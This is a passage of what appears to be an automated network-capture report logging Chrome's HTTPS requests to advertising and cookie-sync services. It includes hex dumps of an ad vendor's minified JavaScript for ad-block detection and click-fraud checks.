2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 63 6b 50 6c 75 73 20 64 65 74 65 63 74 65 64 20 6f 6e 20 64 69 76 20 77 69 74 68 20 63 6c 61 73 73 3a 20 22 2b 65 2e 63 6c 61 73 73 4e 61 6d 65 29 2c 21 30 29 7d 2c 69 73 42 6c 6f 63 6b 44 65 74 65 63 74 65 64 4f 6e 43 6c 61 73 73 4e 61 6d 65 73 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 72 3d 65 2e 6c 65 6e 67 74 68 2c 69 3b 66 6f 72 28 74 3d 30 3b 74 3c 72 3b 74 2b 2b 29 69 66 28 65 5b 74 5d 29 7b 69 3d 74 68 69 73 2e 63 72 65 61 74 65 42 6c 6f 63 6b 44 65 74 65 63 74 69 6f 6e 44 69 76 28 65 5b 74 5d 29 3b 74 72 79 7b 69 66 28 74 68 69 73 2e 69 73 42 6c 6f 63 6b 44 65 74 65 63 74 65 64 4f 6e 44 69 76 28 69 29 29 72 65 74 75 72 6e 21 30 7d 63 61 74 63 68 28 65 29 7b 54 52 43 2e 70 43 6f 6e 73 6f 6c 65 28 22 70 61 67 65 22 2c 22 65 72 72 6f Data Ascii: ckPlus detected on div with class: "+e.className),!0)},isBlockDetectedOnClassNames:function(e){var t,r=e.length,i;for(t=0;t<r;t++)if(e[t]){i=this.createBlockDetectionDiv(e[t]);try{if(this.isBlockDetectedOnDiv(i))return!0}catch(e){TRC.pConsole("page","erro
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 61 64 64 28 22 74 62 6c 2d 61 6d 70 2d 63 6f 6e 74 61 69 6e 65 72 22 29 2c 54 52 43 2e 65 76 65 6e 74 44 65 6c 65 67 61 74 6f 72 2e 73 75 62 73 63 72 69 62 65 28 22 6f 6e 72 65 6e 64 65 72 22 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 64 3d 7b 6e 65 67 61 74 69 76 65 3a 6e 2c 70 6f 73 69 74 69 76 65 3a 61 7d 3b 69 66 28 21 63 28 74 29 7c 7c 6c 29 72 65 74 75 72 6e 21 31 3b 6e 75 6c 6c 3d 3d 3d 72 26 26 28 72 3d 21 28 21 74 2e 63 6f 6e 74 61 69 6e 65 72 2e 70 6c 61 63 65 6d 65 6e 74 44 61 74 61 7c 7c 21 74 2e 63 6f 6e 74 61 69 6e 65 72 2e 70 6c 61 63 65 6d 65 6e 74 44 61 74 61 2e 69 73 46 65 65 64 43 61 72 64 29 29 2c 72 3f 28 65 2e 67 65 74 41 4d 50 43 6f 6e 74 61 69 6e 65 72 28 29 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 73 74 61 74 69 Data Ascii: add("tbl-amp-container"),TRC.eventDelegator.subscribe("onrender",function(t){var d={negative:n,positive:a};if(!c(t)\|\|l)return!1;null===r&&(r=!(!t.container.placementData\|\|!t.container.placementData.isFeedCard)),r?(e.getAMPContainer().style.position="stati
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 31 2c 4d 4f 44 55 4c 45 5f 4e 41 4d 45 3a 60 24 7b 50 52 45 46 49 58 24 31 7d 2d 24 7b 4d 4f 44 55 4c 45 24 31 7d 60 2c 47 4c 4f 42 41 4c 5f 50 52 45 46 49 58 3a 47 4c 4f 42 41 4c 5f 50 52 45 46 49 58 2c 47 4c 4f 42 41 4c 5f 46 52 41 55 44 5f 50 52 45 46 49 58 3a 47 4c 4f 42 41 4c 5f 46 52 41 55 44 5f 50 52 45 46 49 58 24 31 2c 47 4c 4f 42 41 4c 5f 44 45 46 41 55 4c 54 5f 50 52 45 46 49 58 3a 47 4c 4f 42 41 4c 5f 44 45 46 41 55 4c 54 5f 50 52 45 46 49 58 24 31 2c 46 4f 52 43 45 5f 50 41 52 41 4d 3a 53 48 4f 52 54 5f 4e 41 4d 45 24 31 2c 45 4d 55 4c 41 54 45 5f 50 41 52 41 4d 3a 22 74 72 63 5f 62 6c 6f 63 6b 5f 63 6c 69 63 6b 73 22 2c 53 55 50 50 4c 59 5f 46 45 41 54 55 52 45 3a 7b 54 59 50 45 3a 22 63 6c 69 63 6b 62 6c 6f 63 6b 65 64 22 2c 53 54 41 54 45 Data Ascii: 1,MODULE_NAME:`${PREFIX$1}-${MODULE$1}`,GLOBAL_PREFIX:GLOBAL_PREFIX,GLOBAL_FRAUD_PREFIX:GLOBAL_FRAUD_PREFIX$1,GLOBAL_DEFAULT_PREFIX:GLOBAL_DEFAULT_PREFIX$1,FORCE_PARAM:SHORT_NAME$1,EMULATE_PARAM:"trc_block_clicks",SUPPLY_FEATURE:{TYPE:"clickblocked",STATE
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 75 72 65 6d 65 6e 74 73 2e 69 73 45 6e 61 62 6c 65 64 28 65 29 7c 7c 21 74 7c 7c 21 74 2e 61 70 70 65 61 72 61 6e 63 65 54 69 6d 65 29 72 65 74 75 72 6e 3b 74 2e 61 70 70 65 61 72 61 6e 63 65 54 69 6d 65 3d 6e 75 6c 6c 7d 63 61 74 63 68 28 65 29 7b 5f 5f 74 72 63 45 72 72 6f 72 28 60 45 72 72 6f 72 20 69 6e 20 49 74 65 6d 4d 65 61 73 75 72 65 6d 65 6e 74 73 2e 63 6c 65 61 72 41 70 70 65 61 72 61 6e 63 65 54 69 6d 65 20 2d 20 24 7b 65 2e 6d 65 73 73 61 67 65 7d 60 2c 65 29 7d 7d 73 74 61 74 69 63 20 67 65 74 41 70 70 65 61 72 61 6e 63 65 54 69 6d 65 28 65 2c 74 29 7b 63 6f 6e 73 74 20 72 3d 65 26 26 65 2e 76 69 64 65 6f 5f 64 61 74 61 26 26 65 2e 76 69 64 65 6f 5f 64 61 74 61 2e 61 70 70 65 61 72 61 6e 63 65 54 69 6d 65 3b 69 66 28 72 29 72 65 74 75 72 6e Data Ascii: urements.isEnabled(e)\|\|!t\|\|!t.appearanceTime)return;t.appearanceTime=null}catch(e){__trcError(`Error in ItemMeasurements.clearAppearanceTime - ${e.message}`,e)}}static getAppearanceTime(e,t){const r=e&&e.video_data&&e.video_data.appearanceTime;if(r)return
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 6c 69 63 6b 54 69 6d 65 28 72 2c 69 2c 6f 29 2c 61 3d 60 24 7b 74 7d 26 76 63 74 3d 24 7b 6e 7d 60 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 68 6f 75 6c 64 49 67 6e 6f 72 65 4c 6f 67 67 65 72 55 72 6c 50 72 65 66 69 78 28 65 2c 61 2e 6c 65 6e 67 74 68 29 3f 74 3a 61 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 20 5f 5f 74 72 63 45 72 72 6f 72 28 60 45 72 72 6f 72 20 69 6e 20 49 74 65 6d 4d 65 61 73 75 72 65 6d 65 6e 74 73 2e 61 64 64 56 69 73 69 62 6c 65 54 6f 43 6c 69 63 6b 54 69 6d 65 54 6f 50 61 72 61 6d 55 52 4c 20 2d 20 24 7b 65 2e 6d 65 73 73 61 67 65 7d 60 2c 65 29 2c 74 7d 7d 7d 54 52 43 2e 49 74 65 6d 4d 65 61 73 75 72 65 6d 65 6e 74 73 3d 49 74 65 6d 4d 65 61 73 75 72 65 6d 65 6e 74 73 3b 63 6f 6e 73 74 7b 53 4f 55 52 43 45 5f 43 4f 4e 46 49 Data Ascii: lickTime(r,i,o),a=`${t}&vct=${n}`;return this.shouldIgnoreLoggerUrlPrefix(e,a.length)?t:a}catch(e){return __trcError(`Error in ItemMeasurements.addVisibleToClickTimeToParamURL - ${e.message}`,e),t}}}TRC.ItemMeasurements=ItemMeasurements;const{SOURCE_CONFI
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 67 43 6c 69 63 6b 44 65 6c 61 79 3a 74 68 69 73 2e 67 65 74 42 6c 6f 63 6b 46 61 73 74 43 6c 69 63 6b 73 54 69 6d 65 6f 75 74 49 6e 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 28 4b 45 59 53 2e 52 45 43 55 52 52 49 4e 47 5f 4b 45 59 29 7d 7d 73 74 61 74 69 63 20 67 65 74 42 6c 6f 63 6b 43 6c 69 63 6b 73 46 72 6f 6d 52 65 73 70 6f 6e 73 65 28 74 29 7b 69 66 28 21 74 7c 7c 21 74 2e 74 72 63 29 72 65 74 75 72 6e 3b 63 6f 6e 73 74 20 72 3d 54 52 43 2e 55 52 4c 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 72 61 6d 65 74 65 72 2e 63 61 6c 6c 28 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 2c 45 4d 55 4c 41 54 45 5f 50 41 52 41 4d 29 2c 69 3d 72 7c 7c 74 2e 74 72 63 5b 4b 45 59 53 2e 42 4c 4f 43 4b 5f 43 4c 49 43 4b 53 5f 41 43 54 49 4f 4e 5d 3b 69 26 26 28 65 2e 42 43 41 Data Ascii: gClickDelay:this.getBlockFastClicksTimeoutInMilliseconds(KEYS.RECURRING_KEY)}}static getBlockClicksFromResponse(t){if(!t\|\|!t.trc)return;const r=TRC.URL.prototype.getParameter.call(location.href,EMULATE_PARAM),i=r\|\|t.trc[KEYS.BLOCK_CLICKS_ACTION];i&&(e.BCA
2024-05-23 22:35:02 UTC	1378	IN	Data Raw: 54 72 75 65 28 65 5b 47 4c 4f 42 41 4c 5f 4b 45 59 53 2e 44 45 46 41 55 4c 54 5f 45 4e 41 42 4c 45 44 5d 29 7d 73 74 61 74 69 63 20 69 73 42 6c 6f 63 6b 43 6c 69 63 6b 73 41 63 74 69 6f 6e 45 6e 61 62 6c 65 64 28 29 7b 63 6f 6e 73 74 20 74 3d 65 2e 42 43 41 5b 4b 45 59 53 2e 42 4c 4f 43 4b 5f 43 4c 49 43 4b 53 5f 44 49 53 41 42 4c 45 44 5d 3b 72 65 74 75 72 6e 20 54 52 43 2e 75 74 69 6c 2e 69 73 46 61 6c 73 65 28 74 29 7d 63 68 65 63 6b 49 73 46 72 61 75 64 45 6e 61 62 6c 65 64 28 29 7b 63 6f 6e 73 74 7b 67 6c 6f 62 61 6c 3a 65 7d 3d 74 68 69 73 2e 74 72 63 4d 61 6e 61 67 65 72 3b 72 65 74 75 72 6e 20 54 52 43 2e 75 74 69 6c 2e 69 73 54 72 75 65 28 65 5b 47 4c 4f 42 41 4c 5f 4b 45 59 53 2e 46 52 41 55 44 5f 45 4e 41 42 4c 45 44 5d 29 7d 73 65 6e 64 42 6c Data Ascii: True(e[GLOBAL_KEYS.DEFAULT_ENABLED])}static isBlockClicksActionEnabled(){const t=e.BCA[KEYS.BLOCK_CLICKS_DISABLED];return TRC.util.isFalse(t)}checkIsFraudEnabled(){const{global:e}=this.trcManager;return TRC.util.isTrue(e[GLOBAL_KEYS.FRAUD_ENABLED])}sendBl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.6	50158	52.212.30.128	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	757	OUT	GET /sync/pubmatic/BD0DE19C-09D4-4B62-A188-46A0D2E6C177?gdpr=0&gdpr_consent= HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:02 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:02 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.6	50152	52.46.155.104	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	699	OUT	GET /dcm?pid=50cd21b7-d8d7-4615-9fb9-a2be831f8488&id=&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY\|t
2024-05-23 22:35:03 UTC	895	IN	HTTP/1.1 302 Found Server: Server Date: Thu, 23 May 2024 22:35:03 GMT Content-Length: 0 Connection: close x-amz-rid: DEDWJ2BQXPRBAWFXA7TN Set-Cookie: ad-id=A5cRjNUAyEa0vmcria2wSMY; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 22:35:02 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 22:35:03 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Location: https://pixel.rubiconproject.com/token?pid=2179&pt=n&puid=Dc_b9-PmTX6gMqsoiQWwkA&rk=usync-na&gdpr=0 Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.6	50149	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	1005	OUT	GET /AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9 HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
2024-05-23 22:35:03 UTC	657	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:03 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:03 GMT; path=/ Set-Cookie: PugT=1716503703; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:03 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.6	50150	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	999	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=9165965397510453586&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
2024-05-23 22:35:03 UTC	614	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:02 GMT; path=/ Set-Cookie: PugT=1716503702; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:02 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.6	50151	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	913	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI4NDkmdGw9MTI5NjAw&piggybackCookie=8369ae03-bf51-422b-a15c-33306b0e1dfe&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1717632000%3A201_245_241_227; SyncRTB3=1717632000%3A21_56_251_71_3_220_13_54_8%7C1717027200%3A223
2024-05-23 22:35:03 UTC	744	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:02 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:02 GMT; path=/ Set-Cookie: PugT=1716503702; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:02 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:03 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.6	50148	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	766	OUT	GET /usersync2/rmphb?gdpr=0&gdpr_consent=&us_privacy=1YNN&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:03 UTC	958	IN	HTTP/1.1 302 Found date: Thu, 23 May 2024 22:35:03 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%2C%22zdxidn%22%3A%222064%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D%22%7D; path=/; expires=Fri, 23 May 2025 22:35:03 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync2/rmphb?zcc=1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dunruly%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%5BRX_UUID%5D&cb=1716503703006&us_privacy=1YNN etag: RX7c64f7b47a9045eb91aeaf76e523d963003 connection: close
2024-05-23 22:35:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.6	50155	142.250.186.38	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:02 UTC	560	OUT	GET /instream/video/client.js HTTP/1.1 Host: s0.2mdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:03 UTC	659	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/javascript Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-doubleclick-media" Report-To: {"group":"ads-doubleclick-media","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-doubleclick-media"}]} Content-Length: 44701 Date: Thu, 23 May 2024 22:35:03 GMT Expires: Thu, 23 May 2024 22:35:03 GMT Cache-Control: private, max-age=900 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:03 UTC	731	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 0a 2a 2f 0a 76 61 72 20 6e 2c 61 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 62 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 Data Ascii: (function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0*/var n,aa=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}},ba="function"==typeof Object.defineProperties?Object.define
